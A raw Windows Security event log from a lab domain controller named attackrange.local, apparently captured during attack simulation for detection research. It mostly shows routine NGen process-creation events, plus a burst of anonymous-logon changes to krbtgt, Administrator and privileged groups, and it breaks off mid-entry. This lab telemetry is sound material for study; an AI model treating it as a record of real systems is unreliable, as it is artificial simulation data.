-Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:06:34 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254765 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xcfc - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 310 -InterruptEvent 0 -NGENProcess 2bc -Pipe 2cc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:06:34 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254764 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xcf8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2e0 -InterruptEvent 0 -NGENProcess 2a0 -Pipe 2f8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:06:35 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254770 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x2e4 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 31c -InterruptEvent 0 -NGENProcess 314 -Pipe 330 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:06:36 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254771 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x130c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2f0 -InterruptEvent 0 -NGENProcess 324 -Pipe 340 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:06:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4737 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=254785 -Keywords=Audit Success -Message=A security-enabled global group was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Group: - Security ID: ATTACKRANGE\Domain Controllers - Group Name: Domain Controllers - Group Domain: ATTACKRANGE - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/12/2021 12:06:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4737 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=254784 -Keywords=Audit Success -Message=A security-enabled global group was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Group: - Security ID: ATTACKRANGE\Read-only Domain Controllers - Group Name: Read-only Domain Controllers - Group Domain: ATTACKRANGE - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/12/2021 12:06:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4738 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=User Account Management -OpCode=Info -RecordNumber=254783 -Keywords=Audit Success -Message=A user account was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Target Account: - Security ID: ATTACKRANGE\krbtgt - Account Name: krbtgt - Account Domain: ATTACKRANGE - -Changed Attributes: - SAM Account Name: - - Display Name: - - User Principal Name: - - Home Directory: - - Home Drive: - - Script Path: - - Profile Path: - - User Workstations: - - Password Last Set: - - Account Expires: - - Primary Group ID: - - AllowedToDelegateTo: - - Old UAC Value: - - New UAC Value: - - User Account Control: - - User Parameters: - - SID History: - - Logon Hours: - - -Additional Information: - Privileges: - -03/12/2021 12:06:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=254782 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/12/2021 12:06:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=254781 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Group: - Security ID: BUILTIN\Replicator - Group Name: Replicator - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/12/2021 12:06:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=254780 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Group: - Security ID: BUILTIN\Account Operators - Group Name: Account Operators - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/12/2021 12:06:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=254779 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Group: - Security ID: BUILTIN\Server Operators - Group Name: Server Operators - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/12/2021 12:06:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=254778 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Group: - Security ID: BUILTIN\Print Operators - Group Name: Print Operators - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/12/2021 12:06:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=254777 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/12/2021 12:06:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4755 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=254776 -Keywords=Audit Success -Message=A security-enabled universal group was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Group: - Security ID: ATTACKRANGE\Enterprise Admins - Group Name: Enterprise Admins - Group Domain: ATTACKRANGE - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/12/2021 12:06:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4738 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=User Account Management -OpCode=Info -RecordNumber=254775 -Keywords=Audit Success -Message=A user account was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Target Account: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - -Changed Attributes: - SAM Account Name: - - Display Name: - - User Principal Name: - - Home Directory: - - Home Drive: - - Script Path: - - Profile Path: - - User Workstations: - - Password Last Set: - - Account Expires: - - Primary Group ID: - - AllowedToDelegateTo: - - Old UAC Value: - - New UAC Value: - - User Account Control: - - User Parameters: - - SID History: - - Logon Hours: - - -Additional Information: - Privileges: - -03/12/2021 12:06:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4755 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=254774 -Keywords=Audit Success -Message=A security-enabled universal group was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Group: - Security ID: ATTACKRANGE\Schema Admins - Group Name: Schema Admins - Group Domain: ATTACKRANGE - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/12/2021 12:06:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4737 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=254773 -Keywords=Audit Success -Message=A security-enabled global group was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Group: - Security ID: ATTACKRANGE\Domain Admins - Group Name: Domain Admins - Group Domain: ATTACKRANGE - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/12/2021 12:06:38 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254789 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x124c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2f0 -InterruptEvent 0 -NGENProcess 344 -Pipe 2b8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:06:38 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254788 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4a8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 32c -InterruptEvent 0 -NGENProcess 2ac -Pipe 31c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:06:38 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254787 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10b4 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2bc -InterruptEvent 0 -NGENProcess 1ac -Pipe 298 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:06:38 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254786 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf3c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2a0 -InterruptEvent 0 -NGENProcess 2ac -Pipe 324 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:06:39 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254791 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x127c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 34c -InterruptEvent 0 -NGENProcess 310 -Pipe 344 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:06:39 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254790 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x718 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2f0 -InterruptEvent 0 -NGENProcess 334 -Pipe 2ac -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:06:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254795 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc6c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 348 -InterruptEvent 0 -NGENProcess 300 -Pipe 318 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:06:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254794 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10c8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 34c -InterruptEvent 0 -NGENProcess 32c -Pipe 354 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:06:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254793 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1258 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 34c -InterruptEvent 0 -NGENProcess 314 -Pipe 2a0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user 